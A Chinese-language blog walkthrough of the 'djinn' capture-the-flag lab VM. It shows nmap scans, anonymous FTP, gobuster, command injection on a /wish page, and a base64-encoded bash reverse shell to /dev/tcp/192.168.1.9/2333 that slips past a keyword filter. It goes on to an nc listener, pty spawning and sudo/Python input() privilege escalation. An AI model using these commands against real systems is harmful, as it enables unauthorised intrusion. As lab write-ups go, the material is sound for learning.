前几天一直在背资料,背的很烦,找个靶机来玩玩.
第一件事,先找一下主机地址,由于我在自己的局域网内,我不用扫也知道这台刚开的主机 ip 是多少...但如果不知道的话,可以用 nmap 检测一下,sS 是指用半开放式扫描,不会完成三次握手,速度要快一点
sudo nmap -sS 192.168.1.0/24
扫描结果如下
Nmap scan report for djinn (192.168.1.8)
Host is up (0.00010s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)
现在拿到了靶机的 ip 地址,可以开始收集信息了,探测一下开放了哪些端口,先扫一万个试试,-O 参数可获取一些系统的指纹信息
sudo nmap -sS -O 192.168.1.8 -p1-10000
扫描结果如下
Nmap scan report for djinn (192.168.1.8)
Host is up (0.00027s latency).
Not shown: 9996 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
1337/tcp open waste
7331/tcp open swx
MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
扫出来了四个端口,一个个来,先看 ftp,用匿名登录试试。用户名:anonymous
,无密码.登录成功.
Name (192.168.1.8:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 11 Oct 20 23:54 creds.txt
-rw-r--r-- 1 0 0 128 Oct 21 00:23 game.txt
-rw-r--r-- 1 0 0 113 Oct 21 00:23 message.txt
226 Directory send OK.
分别把三个文件下载下来,查看信息
mget creds.txt game.txt message.txt
cat creds.txt
nitu:81299
cat game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the
final level and get the prize.
cat message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.
game.txt 里说在 1337 端口有一个游戏,先访问一下试试
gobuster dir -u http://192.168.1.8:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
一小会就扫出来两个目录
/wish (Status: 200)
/genie (Status: 200)
访问一下 wish ,有个输入参数的地方,输入 id 试一下,可以执行命令
现在要想办法反弹 shell 了。直接用bash -i >& /dev/tcp/192.168.1.9/2333 0>&1
试试。
报错 Wrong choice of words
。猜测可能是过滤了某些关键字,用 base64 编码看看能不能执行命令.
在 Linux 下生成将命令编码很简单:echo "id" | base64
,输出aWQK
,这就是 id 这个命令编码之后的结果了,然后再解码,执行:echo aWQK |base64 -d |bash
。
测试了一下,可以正常使用 echo,对反弹 shell 命令进行编码
echo "bash -i >& /dev/tcp/192.168.1.9/2333 0>&1" |base64
在本地监听 2333 端口nc -lvp 2333
,把反弹命令放到浏览器中执行,成功获取到 shell(我当时测试是监听的 8899 ,都是一样的)
这个反弹回来的 shell 有些命令不能执行,比如 su。。。不能切换用户,所以需要获取一个 pty。
python -c "import pty;pty.spawn('/bin/bash')"
提权
提权可以尝试找一找提权脚本来试试,我没有用,是慢慢的翻文件的。。。
在 nitish 用户目录下有个 user.txt 文件,但是没有权限打开, sam 用户目录直接就没有权限访问。
继续找,在 nitish 下的 .dev 目录里有个 creds.txt,输出一下
cat creds.txt
nitish:p4ssw0rdStr3r0n9
password???密码到手了?切换用户试试,nice,先看看 nitish 的 flag10aay8289ptgguy1pvfa73alzusyyx3c
还没有拿到 root,还不能停下。
查一下有当前用户下有哪些命令可以一 root 执行
可以,现在是 sam 了,再看一看有哪些可以以 root 执行的命令
Matching Defaults entries for sam on djinn:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User sam may run the following commands on djinn:
(root) NOPASSWD: /root/lago
又来一个 /root/lago,再试试
这后面的操作就跟我无关了,看大佬文章了,找到 .pyc 文件,反编译 pyc,然后是利用 python 的 input。
在 sam 的用户目录下有个 .pyc 文件,查看文件可以知道这是 /root/lago 编译出来的,对 .pyc 反编译,然后利用 python2 里面的 input 特性,只要条件符合,就执行成功,所以直接输入 num 就行
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
公众号:没有梦想的阿巧 后台回复 "群聊",一起学习,一起进步